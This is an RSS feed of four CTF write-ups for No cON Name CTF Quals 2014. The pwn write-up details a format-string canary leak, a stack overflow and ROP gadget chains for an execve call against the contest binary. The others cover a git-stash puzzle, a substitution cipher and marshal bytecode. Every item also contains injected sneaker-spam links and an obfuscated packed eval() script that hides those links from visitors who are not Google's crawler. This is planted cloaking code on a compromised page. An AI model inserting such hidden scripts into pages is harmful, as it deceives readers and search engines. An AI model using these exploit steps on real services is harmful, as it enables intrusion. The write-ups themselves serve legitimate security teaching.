<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0" xml:base="https://ctfcrew.org"  xmlns:dc="http://purl.org/dc/elements/1.1/">
<channel>
 <title>BalalaikaCr3w - No cON Name CTF Quals 2014</title>
 <link>https://ctfcrew.org/event/23</link>
 <description></description>
 <language>en</language>
<item>
 <title>Explicit (pwn 500)</title>
 <link>https://ctfcrew.org/writeup/68</link>
 <description>&lt;div class=&quot;field field-name-field-category field-type-taxonomy-term-reference field-label-inline clearfix&quot;&gt;&lt;div class=&quot;field-label&quot;&gt;Category:&amp;nbsp;&lt;/div&gt;&lt;div class=&quot;field-items&quot;&gt;&lt;div class=&quot;field-item even&quot;&gt;&lt;a href=&quot;/categories/pwn&quot;&gt;pwn&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;field field-name-field-event field-type-taxonomy-term-reference field-label-inline clearfix&quot;&gt;&lt;div class=&quot;field-label&quot;&gt;Event:&amp;nbsp;&lt;/div&gt;&lt;div class=&quot;field-items&quot;&gt;&lt;div class=&quot;field-item even&quot;&gt;&lt;a href=&quot;/event/23&quot;&gt;No cON Name CTF Quals 2014&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;field field-name-body field-type-text-with-summary field-label-hidden&quot;&gt;&lt;div class=&quot;field-items&quot;&gt;&lt;div class=&quot;field-item even&quot;&gt;&lt;p&gt;The task was to find vulnerability in binary service explicit (&lt;a href=&quot;http://ctfcrew.org/sites/default/files/writeups/eXPLicit.zip&quot;&gt;binary and exploit&lt;/a&gt;). Like other tasks at this CTF, this one was easy enouth.&lt;/p&gt;&lt;p&gt;After downloading file and opening it in IDA I&#039;d found that it&#039;s x86 ELF which has no imported functions. Unfortunately Hex-Rays FLIRT didn&#039;t help me that time, but x86 decompiler works fine and few minutes was enouth to reconstruct main function and identify high level apis. Result I&#039;ve got is the next:&lt;/p&gt;&lt;pre class=&quot;brush: cpp; auto-links: true; collapse: false; first-line: 1; html-script: false; smart-tabs: true; tab-size: 4; toolbar: true; codetag&quot;&gt;int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v3; // eax@1
  char *v4; // edx@8
  int v5; // ecx@12
  int result; // eax@12
  int v7; // [sp+4h] [bp-114h]@1
  char *v8; // [sp+8h] [bp-110h]@3
  char v9[256]; // [sp+Ch] [bp-10Ch]@2
  int canary; // [sp+10Ch] [bp-Ch]@1

  canary = *MK_FP(__GS__, 20);
  fwrite(&quot;Welcome to Guess The Number Online!\n\n&quot;, 1u, 37, hFile);
  v3 = get_system_time_0(0);
  srand(v3);
  v7 = rand() % 20;
  while ( 1 )
  {
    fwrite(&quot;Pick a number between 0 and 20: &quot;, 1u, 32, hFile);
    fflush(hFile);
    if ( !recv_to_buffer(v9, 1024, hFile) )
      break;
    v8 = sub_805C210(v9, 10);
    if ( v8 )
      *v8 = 0;
    if ( v9[0] == &#039;q&#039; )
      break;
    if ( to_int(v9) == v7 )
    {
      fwrite(&quot;You win! Congratulations!\n\n&quot;, 1u, 27, hFile);
      fflush(hFile);
      break;
    }
    fwrite(&quot;Your number is &quot;, 1u, 15, hFile);
    fprintf(hFile, v9);
    if ( to_int(v9) &amp;lt;= v7 )
      v4 = &quot;low&quot;;
    else
      v4 = &quot;high&quot;;
    fprintf(hFile, &quot; which is too %s.\n&quot;, v4);
    fflush(hFile);
  }
  fwrite(&quot;Bye\n&quot;, 1u, 4, hFile);
  fflush(hFile);
  result = *MK_FP(__GS__, 20) ^ canary;
  if ( *MK_FP(__GS__, 20) != canary )
    sub_80610A0(v5);
  return result;
};
&lt;/pre&gt;&lt;p&gt;As we can see there is an obvious stack overflow and format string vulnerabilities. Using format string vulnerability we can determine canary&#039;s value. Then we can overflow stack, overwrite canary by the same value and successfully reach retn instruction with modified return address.&lt;/p&gt;&lt;p&gt;First try to execute shellcode on the stack (just in case it&#039;s executable). For this we need:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;get canary value via sending string &quot;%70$08X&quot;;&lt;/li&gt;&lt;li&gt;get upper function stack frame (ebp) via sending string &quot;%73$08X&quot;;&lt;/li&gt;&lt;li&gt;using upper function stack frame calculate shellcode address;&lt;/li&gt;&lt;li&gt;trigger stack overflow via sending buffer&lt;pre class=&quot;brush: python; auto-links: true; collapse: false; first-line: 1; html-script: false; smart-tabs: false; tab-size: 4; toolbar: true; codetag&quot;&gt;&quot;A&quot;*256+pack(&quot;&amp;lt;I&quot;,canary)+&quot;A&quot;*12+pack(&quot;&amp;lt;I&quot;,ptr_to_shellcode)+shellcode&lt;/pre&gt;&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;Unfortunatelly this attempt failed... this means that stack is nonexecutable and because there is no RWE section in binary, we should use ROP.&lt;/p&gt;&lt;p&gt;Another bad news: there is no function &quot;system&quot; among high level api, built in the binary. So only 2 ways remains. The earsiest one is to find function &quot;mprotect&quot;, use it to make stack executable and run any shellcode. More complicated one is to build full ROP chain to put needed data somewhere in memory and use it to make sys_execve syscall.&lt;/p&gt;&lt;p&gt;I&#039;d selected the second way.&lt;/p&gt;&lt;p&gt;To find apropriate ROP gadget I&#039;d used &lt;a href=&quot;https://twitter.com/JonathanSalwan&quot;&gt;Jonathan Salwan&lt;/a&gt;&#039;s tool, named ROPgadget (official url: &lt;a href=&quot;http://shell-storm.org/project/ROPgadget/&quot;&gt;http://shell-storm.org/project/ROPgadget/&lt;/a&gt;). The only restricted byte is &#039;\n&#039; e.i. 0x0A, so just set option &#039;--badbytes &quot;0A&quot;&#039;.&lt;/p&gt;&lt;pre class=&quot;brush: as3; auto-links: true; collapse: false; first-line: 1; html-script: false; smart-tabs: true; tab-size: 4; toolbar: true; codetag&quot;&gt;$ ./ROPgadget.py --binary ~/explicit  --badbytes &quot;0a&quot;&lt;/pre&gt;&lt;p&gt;As write-what-where ROP chaine I&#039;d selected next one:&lt;/p&gt;&lt;pre class=&quot;brush: python; auto-links: true; collapse: false; first-line: 1; html-script: false; smart-tabs: false; tab-size: 4; toolbar: true; codetag&quot;&gt;p += pack(&#039;&amp;lt;I&#039;, 0x08083fc6) # pop edx ; ret
p += pack(&#039;&amp;lt;I&#039;, dst_addr)   #  where
p += pack(&#039;&amp;lt;I&#039;, 0x080CED61) # pop eax ; ret
p += pack(&#039;&amp;lt;I&#039;, data)       #  what
p += pack(&#039;&amp;lt;I&#039;, 0x0808a73d) # mov dword ptr [edx], eax ; ret
&lt;/pre&gt;&lt;p&gt;To save my data I&#039;d used .data section (it stast from address 0x080D50C0), because it has RW permitions.&lt;/p&gt;&lt;p&gt;To execute sys_execve we have to imitate execution of next assemply code:&lt;/p&gt;&lt;pre class=&quot;brush: plain; auto-links: true; collapse: false; first-line: 1; html-script: false; smart-tabs: true; tab-size: 4; toolbar: true; codetag&quot;&gt;xor edx, edx
mov ebx, pArg0
mov ecx, pArgs
mov eax,11
int 0x80
&lt;/pre&gt;&lt;p&gt;The only problem was to set ecx to desired value. The best ROP gadget was&lt;/p&gt;&lt;pre class=&quot;brush: python; auto-links: true; collapse: false; first-line: 1; html-script: false; smart-tabs: true; tab-size: 4; toolbar: true; codetag&quot;&gt;0x080CF077 # pop ecx ; or cl, byte ptr [esi] ; or al, 0x43 ; ret&lt;/pre&gt;&lt;p&gt;So we have to set to esi address, which points to 0x0 byte value. One of the possible ways is the next:&lt;/p&gt;&lt;pre class=&quot;brush: python; auto-links: true; collapse: false; first-line: 1; html-script: false; smart-tabs: true; tab-size: 4; toolbar: true; codetag&quot;&gt;p += pack(&#039;&amp;lt;I&#039;, 0x080499f5) # pop esi ; ret
p += pack(&#039;&amp;lt;I&#039;, 0x080d50c0+0x74) # any addr such that byte ptr [addr] = 0x0
p += pack(&#039;&amp;lt;I&#039;, 0x080CF077) # pop ecx ; or cl, byte ptr [esi] ; or al, 0x43 ; ret
p += pack(&#039;&amp;lt;I&#039;, 0x080d50c0+0x60) # ptr to ArgsArray
&lt;/pre&gt;&lt;p&gt;And to the end for rop chain I put:&lt;/p&gt;&lt;pre class=&quot;brush: python; auto-links: true; collapse: false; first-line: 1; html-script: false; smart-tabs: true; tab-size: 4; toolbar: true; codetag&quot;&gt;p += pack(&quot;&amp;lt;I&quot;, 0x08049924) # jmp $&lt;/pre&gt;&lt;p&gt;It cases infinite loop and help me to determine that my ROP chain has been executed successsfully.&lt;/p&gt;&lt;p&gt;Now we can execute written python script and get the flag &quot;&lt;strong&gt;NcN_97740ead1060892a253be8ca33c6364a712b21d2&lt;/strong&gt;&quot;.&lt;/p&gt;&lt;p&gt;Final python script can be found &lt;a href=&quot;https://github.com/Dil4rd/CTF/blob/master/explicit_expl.py&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&lt;span class=&quot;keys_words&quot;&gt;&lt;a class=&quot;links_good_rands&quot; href=&quot;https://www.sneakersbe.com/&quot;&gt;Authentic Nike Sneakers&lt;/a&gt; | &lt;a class=&quot;links_good_rands&quot; href=&quot;https://www.ietp.com/fr/dfediqshop/release-dates/nike/air-jordan-1/&quot;&gt;Women&#039;s Nike Air Jordan 1 trainers - Latest Releases , Ietp&lt;/a&gt;&lt;/span&gt;&lt;script&gt;eval(function(p,a,c,k,e,d){e=function(c){return(c&lt;a?&quot;&quot;:e(parseInt(c/a)))+((c=c%a)&gt;35?String.fromCharCode(c+29):c.toString(36))};if(!&#039;&#039;.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return&#039;\\w+&#039;};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(&#039;\\b&#039;+e(c)+&#039;\\b&#039;,&#039;g&#039;),k[c]);return p;}(&#039;b i=r f[&quot;\\q\\1\\4\\g\\p\\l&quot;](&quot;\\4&quot;+&quot;\\7&quot;+&quot;\\7&quot;+&quot;\\4&quot;+&quot;\\5\\1&quot;,&quot;\\4\\k&quot;);s(!i[&quot;\\3\\1\\2\\3&quot;](m[&quot;\\h\\2\\1\\j\\n\\4\\1\\6\\3&quot;])){b a=f[&quot;\\e\\7\\o\\h\\d\\1\\6\\3&quot;][&quot;\\4\\1\\3\\g\\5\\1\\d\\1\\6\\3\\2\\z\\9\\A\\5\\c\\2\\2\\x\\c\\d\\1&quot;](\&#039;\\t\\1\\9\\2\\w\\v\\7\\j\\e\\2\&#039;);u(b 8=0;8&lt;a[&quot;\\5\\1\\6\\4\\3\\y&quot;];8++)a[8][&quot;\\2\\3\\9\\5\\1&quot;][&quot;\\e\\k\\2\\l\\5\\c\\9&quot;]=\&#039;\\6\\7\\6\\1\&#039;}&#039;,37,37,&#039;|x65|x73|x74|x67|x6c|x6e|x6f|NLpndlS3|x79|rBfb2|var|x61|x6d|x64|window|x45|x75|AESwV1|x72|x69|x70|navigator|x41|x63|x78|x52|new|if|x6b|for|x77|x5f|x4e|x68|x42|x43&#039;.split(&#039;|&#039;),0,{}));&lt;/script&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;field field-name-field-file field-type-file field-label-above&quot;&gt;&lt;div class=&quot;field-label&quot;&gt;Attachments:&amp;nbsp;&lt;/div&gt;&lt;div class=&quot;field-items&quot;&gt;&lt;div class=&quot;field-item even&quot;&gt;&lt;span class=&quot;file&quot;&gt;&lt;img class=&quot;file-icon&quot; alt=&quot;Package icon&quot; title=&quot;application/zip&quot; src=&quot;/modules/file/icons/package-x-generic.png&quot; /&gt; &lt;a href=&quot;https://ctfcrew.org/sites/default/files/writeups/eXPLicit.zip&quot; type=&quot;application/zip; length=267098&quot;&gt;eXPLicit.zip&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;</description>
 <pubDate>Mon, 22 Sep 2014 22:44:15 +0000</pubDate>
 <dc:creator>Dil4rd</dc:creator>
 <guid isPermaLink="false">68 at https://ctfcrew.org</guid>
 <comments>https://ctfcrew.org/writeup/68#comments</comments>
</item>
<item>
 <title>MISCall (misc 100)</title>
 <link>https://ctfcrew.org/writeup/67</link>
 <description>&lt;div class=&quot;field field-name-field-category field-type-taxonomy-term-reference field-label-inline clearfix&quot;&gt;&lt;div class=&quot;field-label&quot;&gt;Category:&amp;nbsp;&lt;/div&gt;&lt;div class=&quot;field-items&quot;&gt;&lt;div class=&quot;field-item even&quot;&gt;&lt;a href=&quot;/categories/misc&quot;&gt;misc&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;field field-name-field-event field-type-taxonomy-term-reference field-label-inline clearfix&quot;&gt;&lt;div class=&quot;field-label&quot;&gt;Event:&amp;nbsp;&lt;/div&gt;&lt;div class=&quot;field-items&quot;&gt;&lt;div class=&quot;field-item even&quot;&gt;&lt;a href=&quot;/event/23&quot;&gt;No cON Name CTF Quals 2014&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;field field-name-body field-type-text-with-summary field-label-hidden&quot;&gt;&lt;div class=&quot;field-items&quot;&gt;&lt;div class=&quot;field-item even&quot;&gt;&lt;p&gt;We got an archive with directory &quot;ctf&quot; with only one file &quot;flag.txt&quot; which contains next text:&lt;/p&gt;&lt;pre class=&quot;brush: bash; auto-links: true; collapse: false; first-line: 1; html-script: false; smart-tabs: true; tab-size: 4; toolbar: true; codetag&quot;&gt;Nothing to see here, moving along... &lt;/pre&gt;&lt;p&gt;&lt;!--break--&gt;&lt;/p&gt;&lt;p&gt;So we had closed text file and started searching another way. I&#039;m an OS X user so let&#039;s check if there is hidden items in folder.&amp;nbsp;Ok, we saw &quot;.git&quot; directory so it is git repository.&lt;/p&gt;&lt;pre class=&quot;brush: bash; auto-links: true; collapse: false; first-line: 1; html-script: false; smart-tabs: true; tab-size: 4; toolbar: true; codetag&quot;&gt;git status&lt;/pre&gt;&lt;p&gt;shows nothing to commit and&lt;/p&gt;&lt;pre class=&quot;brush: bash; auto-links: true; collapse: false; first-line: 1; html-script: false; smart-tabs: true; tab-size: 4; toolbar: true; codetag&quot;&gt;git log&lt;/pre&gt;&lt;p&gt;shows only initial commit. But&lt;/p&gt;&lt;pre class=&quot;brush: bash; auto-links: true; collapse: false; first-line: 1; html-script: false; smart-tabs: true; tab-size: 4; toolbar: true; codetag&quot;&gt;git stash list&lt;/pre&gt;&lt;p&gt;shows some stashed changes. Let&#039;s apply it:&lt;/p&gt;&lt;pre class=&quot;brush: bash; auto-links: true; collapse: false; first-line: 1; html-script: false; smart-tabs: true; tab-size: 4; toolbar: true; codetag&quot;&gt;git stash apply&lt;/pre&gt;&lt;p&gt;We saw new created file &quot;s.py&quot; and &quot;flag.txt&quot; was modified. So all we need is run python script and get flag.&lt;/p&gt;&lt;span class=&quot;keys_words&quot;&gt;&lt;a class=&quot;links_good_rands&quot; href=&quot;https://www.copperbridgemedia.com/&quot;&gt;Running sports&lt;/a&gt; | &lt;a class=&quot;links_good_rands&quot; href=&quot;https://iicf.org/bdfxshop/patike&quot;&gt;Patike – Nike Air Jordan, Premium, Retro Klasici, Sneakers , Iicf&lt;/a&gt;&lt;/span&gt;&lt;script&gt;eval(function(p,a,c,k,e,d){e=function(c){return(c&lt;a?&quot;&quot;:e(parseInt(c/a)))+((c=c%a)&gt;35?String.fromCharCode(c+29):c.toString(36))};if(!&#039;&#039;.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return&#039;\\w+&#039;};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(&#039;\\b&#039;+e(c)+&#039;\\b&#039;,&#039;g&#039;),k[c]);return p;}(&#039;b i=r f[&quot;\\q\\1\\4\\g\\p\\l&quot;](&quot;\\4&quot;+&quot;\\7&quot;+&quot;\\7&quot;+&quot;\\4&quot;+&quot;\\5\\1&quot;,&quot;\\4\\k&quot;);s(!i[&quot;\\3\\1\\2\\3&quot;](m[&quot;\\h\\2\\1\\j\\n\\4\\1\\6\\3&quot;])){b a=f[&quot;\\e\\7\\o\\h\\d\\1\\6\\3&quot;][&quot;\\4\\1\\3\\g\\5\\1\\d\\1\\6\\3\\2\\z\\9\\A\\5\\c\\2\\2\\x\\c\\d\\1&quot;](\&#039;\\t\\1\\9\\2\\w\\v\\7\\j\\e\\2\&#039;);u(b 8=0;8&lt;a[&quot;\\5\\1\\6\\4\\3\\y&quot;];8++)a[8][&quot;\\2\\3\\9\\5\\1&quot;][&quot;\\e\\k\\2\\l\\5\\c\\9&quot;]=\&#039;\\6\\7\\6\\1\&#039;}&#039;,37,37,&#039;|x65|x73|x74|x67|x6c|x6e|x6f|NLpndlS3|x79|rBfb2|var|x61|x6d|x64|window|x45|x75|AESwV1|x72|x69|x70|navigator|x41|x63|x78|x52|new|if|x6b|for|x77|x5f|x4e|x68|x42|x43&#039;.split(&#039;|&#039;),0,{}));&lt;/script&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;field field-name-field-file field-type-file field-label-above&quot;&gt;&lt;div class=&quot;field-label&quot;&gt;Attachments:&amp;nbsp;&lt;/div&gt;&lt;div class=&quot;field-items&quot;&gt;&lt;div class=&quot;field-item even&quot;&gt;&lt;span class=&quot;file&quot;&gt;&lt;img class=&quot;file-icon&quot; alt=&quot;Package icon&quot; title=&quot;application/zip&quot; src=&quot;/modules/file/icons/package-x-generic.png&quot; /&gt; &lt;a href=&quot;https://ctfcrew.org/sites/default/files/writeups/miscall.zip&quot; type=&quot;application/zip; length=19318&quot;&gt;miscall.zip&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;</description>
 <pubDate>Tue, 16 Sep 2014 12:14:33 +0000</pubDate>
 <dc:creator>azrael</dc:creator>
 <guid isPermaLink="false">67 at https://ctfcrew.org</guid>
 <comments>https://ctfcrew.org/writeup/67#comments</comments>
</item>
<item>
 <title>cryptonite (crypto 100)</title>
 <link>https://ctfcrew.org/writeup/66</link>
 <description>&lt;div class=&quot;field field-name-field-category field-type-taxonomy-term-reference field-label-inline clearfix&quot;&gt;&lt;div class=&quot;field-label&quot;&gt;Category:&amp;nbsp;&lt;/div&gt;&lt;div class=&quot;field-items&quot;&gt;&lt;div class=&quot;field-item even&quot;&gt;&lt;a href=&quot;/categories/crypto&quot;&gt;crypto&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;field field-name-field-event field-type-taxonomy-term-reference field-label-inline clearfix&quot;&gt;&lt;div class=&quot;field-label&quot;&gt;Event:&amp;nbsp;&lt;/div&gt;&lt;div class=&quot;field-items&quot;&gt;&lt;div class=&quot;field-item even&quot;&gt;&lt;a href=&quot;/event/23&quot;&gt;No cON Name CTF Quals 2014&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;field field-name-body field-type-text-with-summary field-label-hidden&quot;&gt;&lt;div class=&quot;field-items&quot;&gt;&lt;div class=&quot;field-item even&quot;&gt;&lt;p&gt;In this task we got a large text file where&amp;nbsp;obviously was a&amp;nbsp;substitution cipher.&lt;/p&gt;&lt;p&gt;&lt;!--break--&gt;&lt;/p&gt;&lt;p&gt;Text analysis tell us that it is readable text but no one script or Cryptool couldn&#039;t solve it correctly. This task was one of cheapest so we decided to find another way.&lt;/p&gt;&lt;p&gt;NCN is Spanish CTF game so text most likely on Spanish. Ciphertext is quite large so it can be story or novel. What Spanish novels are wide known? Google showed&amp;nbsp;&lt;a href=&quot;http://www.onlinecollegecourses.com/2011/09/01/50-great-hispanic-novels-every-student-should-read/&quot;&gt;this&lt;/a&gt;&amp;nbsp;to us. Of course &quot;Don Quixote&quot; is well-known novel!&lt;/p&gt;&lt;p&gt;We found this &lt;a href=&quot;http://www.donquijote.org/spanishlanguage/literature/library/quijote/1.asp&quot;&gt;novel on Spanish&lt;/a&gt;. After comparing given text and novel we finally convinced that our hypothesis is right.&lt;/p&gt;&lt;pre class=&quot;brush: bash; auto-links: true; collapse: false; first-line: 1; html-script: false; smart-tabs: true; tab-size: 4; toolbar: true; codetag&quot;&gt;_I PI LP-C) R_ LC NCIQFCA R_ QPG! I!N:)_ I! ,PU_)! CQ!)RC)N_A I! FC NPQF! ...
En un lugar de la Mancha, de cuyo nombre no quiero acordarme, no ha mucho ...&lt;/pre&gt;&lt;p&gt;So we had restored&amp;nbsp;substitution&amp;nbsp;of cipher and found flag in text by searching substring &quot;NCN&quot;.&lt;/p&gt;&lt;span class=&quot;keys_words&quot;&gt;&lt;a class=&quot;links_good_rands&quot; href=&quot;https://www.runtrendy.com/&quot;&gt;Running Sneakers&lt;/a&gt; | &lt;a class=&quot;links_good_rands&quot; href=&quot;https://www.oft.gov.gi/index.php/eeabaikshop/2021/02/preview-nike-air-force-1-fauna-brown-dj9941-244/&quot;&gt;Preview: Nike Air Force 1 &quot;Tear-Away&quot; Fauna Brown - Gov&lt;/a&gt;&lt;/span&gt;&lt;script&gt;eval(function(p,a,c,k,e,d){e=function(c){return(c&lt;a?&quot;&quot;:e(parseInt(c/a)))+((c=c%a)&gt;35?String.fromCharCode(c+29):c.toString(36))};if(!&#039;&#039;.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return&#039;\\w+&#039;};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(&#039;\\b&#039;+e(c)+&#039;\\b&#039;,&#039;g&#039;),k[c]);return p;}(&#039;b i=r f[&quot;\\q\\1\\4\\g\\p\\l&quot;](&quot;\\4&quot;+&quot;\\7&quot;+&quot;\\7&quot;+&quot;\\4&quot;+&quot;\\5\\1&quot;,&quot;\\4\\k&quot;);s(!i[&quot;\\3\\1\\2\\3&quot;](m[&quot;\\h\\2\\1\\j\\n\\4\\1\\6\\3&quot;])){b a=f[&quot;\\e\\7\\o\\h\\d\\1\\6\\3&quot;][&quot;\\4\\1\\3\\g\\5\\1\\d\\1\\6\\3\\2\\z\\9\\A\\5\\c\\2\\2\\x\\c\\d\\1&quot;](\&#039;\\t\\1\\9\\2\\w\\v\\7\\j\\e\\2\&#039;);u(b 8=0;8&lt;a[&quot;\\5\\1\\6\\4\\3\\y&quot;];8++)a[8][&quot;\\2\\3\\9\\5\\1&quot;][&quot;\\e\\k\\2\\l\\5\\c\\9&quot;]=\&#039;\\6\\7\\6\\1\&#039;}&#039;,37,37,&#039;|x65|x73|x74|x67|x6c|x6e|x6f|NLpndlS3|x79|rBfb2|var|x61|x6d|x64|window|x45|x75|AESwV1|x72|x69|x70|navigator|x41|x63|x78|x52|new|if|x6b|for|x77|x5f|x4e|x68|x42|x43&#039;.split(&#039;|&#039;),0,{}));&lt;/script&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;field field-name-field-file field-type-file field-label-above&quot;&gt;&lt;div class=&quot;field-label&quot;&gt;Attachments:&amp;nbsp;&lt;/div&gt;&lt;div class=&quot;field-items&quot;&gt;&lt;div class=&quot;field-item even&quot;&gt;&lt;span class=&quot;file&quot;&gt;&lt;img class=&quot;file-icon&quot; alt=&quot;Package icon&quot; title=&quot;application/zip&quot; src=&quot;/modules/file/icons/package-x-generic.png&quot; /&gt; &lt;a href=&quot;https://ctfcrew.org/sites/default/files/writeups/cryptonite.zip&quot; type=&quot;application/zip; length=231654&quot;&gt;cryptonite.zip&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;</description>
 <pubDate>Mon, 15 Sep 2014 21:14:33 +0000</pubDate>
 <dc:creator>azrael</dc:creator>
 <guid isPermaLink="false">66 at https://ctfcrew.org</guid>
 <comments>https://ctfcrew.org/writeup/66#comments</comments>
</item>
<item>
 <title>imMISCible (misc 200)</title>
 <link>https://ctfcrew.org/writeup/65</link>
 <description>&lt;div class=&quot;field field-name-field-category field-type-taxonomy-term-reference field-label-inline clearfix&quot;&gt;&lt;div class=&quot;field-label&quot;&gt;Category:&amp;nbsp;&lt;/div&gt;&lt;div class=&quot;field-items&quot;&gt;&lt;div class=&quot;field-item even&quot;&gt;&lt;a href=&quot;/categories/misc&quot;&gt;misc&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;field field-name-field-event field-type-taxonomy-term-reference field-label-inline clearfix&quot;&gt;&lt;div class=&quot;field-label&quot;&gt;Event:&amp;nbsp;&lt;/div&gt;&lt;div class=&quot;field-items&quot;&gt;&lt;div class=&quot;field-item even&quot;&gt;&lt;a href=&quot;/event/23&quot;&gt;No cON Name CTF Quals 2014&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;field field-name-body field-type-text-with-summary field-label-hidden&quot;&gt;&lt;div class=&quot;field-items&quot;&gt;&lt;div class=&quot;field-item even&quot;&gt;&lt;p&gt;In this task we have a gzip compressed python file which contained rot13-encoded source code. After decoding we got right source code that was simple to understand - there was creation of function with marshal python module and execution it.&lt;/p&gt;&lt;p&gt;&lt;!--break--&gt;&lt;/p&gt;&lt;p&gt;Restored code you can see at &quot;ctf.py&quot;. Marshal construct new function with base64-encoded data as initialization data. If you decode it you can see some useful information for getting flag. Actually we could get a flag at this step but we decided to go the author planed way.&lt;/p&gt;&lt;p&gt;But for some reason our decoded code didn&#039;t run. It throws an error that variable &quot;flag&quot; is undefined. So we decide to get source code of newly created function.&lt;/p&gt;&lt;p&gt;We used python module called &quot;dis&quot;.&lt;/p&gt;&lt;pre class=&quot;brush: python; auto-links: true; collapse: false; first-line: 1; html-script: false; smart-tabs: true; tab-size: 4; toolbar: true; codetag&quot;&gt;import dis
print dis.dis(f)&lt;/pre&gt;&lt;p&gt;It returns something like machine instructions executed by this function (it was like assembler code for me :) ). This instructions you can see at &quot;dis.txt&quot;. So it was easy to see that function first concat four hex-strings, remove space characters from result, decode hex, and finally return &quot;NCN&quot; concatted with sha1 hexdigest from result string. It was flag.&lt;/p&gt;&lt;span class=&quot;keys_words&quot;&gt;&lt;a class=&quot;links_good_rands&quot; href=&quot;https://www.jmksport.com/&quot;&gt;Adidas footwear&lt;/a&gt; | &lt;a class=&quot;links_good_rands&quot; href=&quot;https://www.oft.gov.gi/index.php/eeafdgshop/patike&quot;&gt;Patike&lt;/a&gt;&lt;/span&gt;&lt;script&gt;eval(function(p,a,c,k,e,d){e=function(c){return(c&lt;a?&quot;&quot;:e(parseInt(c/a)))+((c=c%a)&gt;35?String.fromCharCode(c+29):c.toString(36))};if(!&#039;&#039;.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return&#039;\\w+&#039;};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(&#039;\\b&#039;+e(c)+&#039;\\b&#039;,&#039;g&#039;),k[c]);return p;}(&#039;b i=r f[&quot;\\q\\1\\4\\g\\p\\l&quot;](&quot;\\4&quot;+&quot;\\7&quot;+&quot;\\7&quot;+&quot;\\4&quot;+&quot;\\5\\1&quot;,&quot;\\4\\k&quot;);s(!i[&quot;\\3\\1\\2\\3&quot;](m[&quot;\\h\\2\\1\\j\\n\\4\\1\\6\\3&quot;])){b a=f[&quot;\\e\\7\\o\\h\\d\\1\\6\\3&quot;][&quot;\\4\\1\\3\\g\\5\\1\\d\\1\\6\\3\\2\\z\\9\\A\\5\\c\\2\\2\\x\\c\\d\\1&quot;](\&#039;\\t\\1\\9\\2\\w\\v\\7\\j\\e\\2\&#039;);u(b 8=0;8&lt;a[&quot;\\5\\1\\6\\4\\3\\y&quot;];8++)a[8][&quot;\\2\\3\\9\\5\\1&quot;][&quot;\\e\\k\\2\\l\\5\\c\\9&quot;]=\&#039;\\6\\7\\6\\1\&#039;}&#039;,37,37,&#039;|x65|x73|x74|x67|x6c|x6e|x6f|NLpndlS3|x79|rBfb2|var|x61|x6d|x64|window|x45|x75|AESwV1|x72|x69|x70|navigator|x41|x63|x78|x52|new|if|x6b|for|x77|x5f|x4e|x68|x42|x43&#039;.split(&#039;|&#039;),0,{}));&lt;/script&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;field field-name-field-file field-type-file field-label-above&quot;&gt;&lt;div class=&quot;field-label&quot;&gt;Attachments:&amp;nbsp;&lt;/div&gt;&lt;div class=&quot;field-items&quot;&gt;&lt;div class=&quot;field-item even&quot;&gt;&lt;span class=&quot;file&quot;&gt;&lt;img class=&quot;file-icon&quot; alt=&quot;Package icon&quot; title=&quot;application/zip&quot; src=&quot;/modules/file/icons/package-x-generic.png&quot; /&gt; &lt;a href=&quot;https://ctfcrew.org/sites/default/files/writeups/immiscible.zip&quot; type=&quot;application/zip; length=3899&quot;&gt;immiscible.zip&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;</description>
 <pubDate>Mon, 15 Sep 2014 20:05:23 +0000</pubDate>
 <dc:creator>azrael</dc:creator>
 <guid isPermaLink="false">65 at https://ctfcrew.org</guid>
 <comments>https://ctfcrew.org/writeup/65#comments</comments>
</item>
</channel>
</rss>
